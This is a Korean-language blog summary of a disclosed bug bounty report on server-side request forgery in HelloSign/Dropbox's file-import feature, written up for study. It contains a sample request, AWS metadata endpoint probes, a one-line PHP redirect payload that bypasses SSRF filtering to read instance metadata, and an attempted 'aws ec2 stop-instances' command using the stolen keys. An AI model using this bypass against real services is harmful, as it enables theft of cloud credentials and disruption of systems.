본문 바로가기

보안/버그바운티

버그바운티 보고서 - SSRF Dropbox

보고서 링크(HERE)

 

SSRF Dropbox

타겟 : Dropbox, 문서를 가져오는 기능

* Dropbox, Google Drive, OneDrive, EverNote 등에서 문서를 가져올 수 있는 기능

* 해당 포인트에서 SSRF 취약점을 발견함

 

1.1

공격자의 서버에 접근하여 문서를 가져갈 수 있는지 확인

file_reference 매개변수를 변경했더니 404 확인

 

1.2 

service_type과 file_reference가 맞아야 하는 것을 깨달음

service_type=O 면 file_reference는 OneDrive 주소가 와야함.

 

GET /attachment/externalFile?service_type=O&file_reference=MYONEDRIVEFILELINKHERE&file_name=FILENAME.ANYTHING&c=0.8261955039214062 HTTP/1.1
Host: app.hellosign.com
Connection: close
Accept: application/json
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.111 Safari/537.36
X-CSRF-Token: 
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: REDACTED
Accept-Encoding: gzip, deflate
Accept-Language: en-GB,en-US;q=0.9,en;q=0.8,hi;q=0.7
Cookie:REDACTED

 

2.1

whatismyipaddress.com 을 통해 해당 사이트가 AWS/EC2를 사용하고 있는 것을 확인함.

로컬호스트의 콘텐츠를 탈취하기 위해 여러 시도


http://169.254.169.254/latest/ ▶ 404

* 해당 경로는 AWS/EC2의 메타데이터를 가져오는데 사용되는 특별한 주소

* 인스턴스 타입, 아이디, 공용키 등 중요정보가 포함되어 있음

* 모든 AWS/EC2에서 해당 주소에 접근할 수 있으며, 이 주소는 특정 인스턴스의 정보를 제공함

* 각 인스턴스에서 내부적으로만 접근 가능

http://127.0.0.1 ▶ 404

 

2.2

해커원의 보고서를 참고하여 SSRF 보호 우회 시도 

공격자의 서버에 아래 코드를 호스팅

<?php header('Location: http://169.254.169.254/latest/meta-data/', TRUE, 303); ?>

 

 

리다이렉션 링크를 사용하여 다시 시도하니 AWS 인스턴스의 메타데이터를 얻을 수 있었음

 

"타겟 : 공격자 서버로 접근 → Location 헤더에 의해 타겟 본인의 메타데이터 요청 → 메타데이터를 담은 응답 확인가능"

 

3.1

RCE가 가능한지 확인해달라고 요청받아 Access Key/Token을 얻어서 아래 명령을 실행

AWS ec2 stop-instances --instance-ids [instanceHere]

 

→ 명령을 실행할 수 있는 권한이 부족하여 작동하지는 않았다함

 

 

 

공부 시 참고

https://www.hahwul.com/2019/02/22/bypass-ssrf-protection-using-http-redirect/

 

Bypass SSRF Protection using HTTP Redirect

오늘도 SSRF 우회 패턴 정리해봅니다. 자주 쓰던 방법 중 하나인데 최근에 제대로 먹혀서 기분이 좋네요. 별다른건 아니고 HTTP Redirect를 이용한 우회 방법입니다.

www.hahwul.com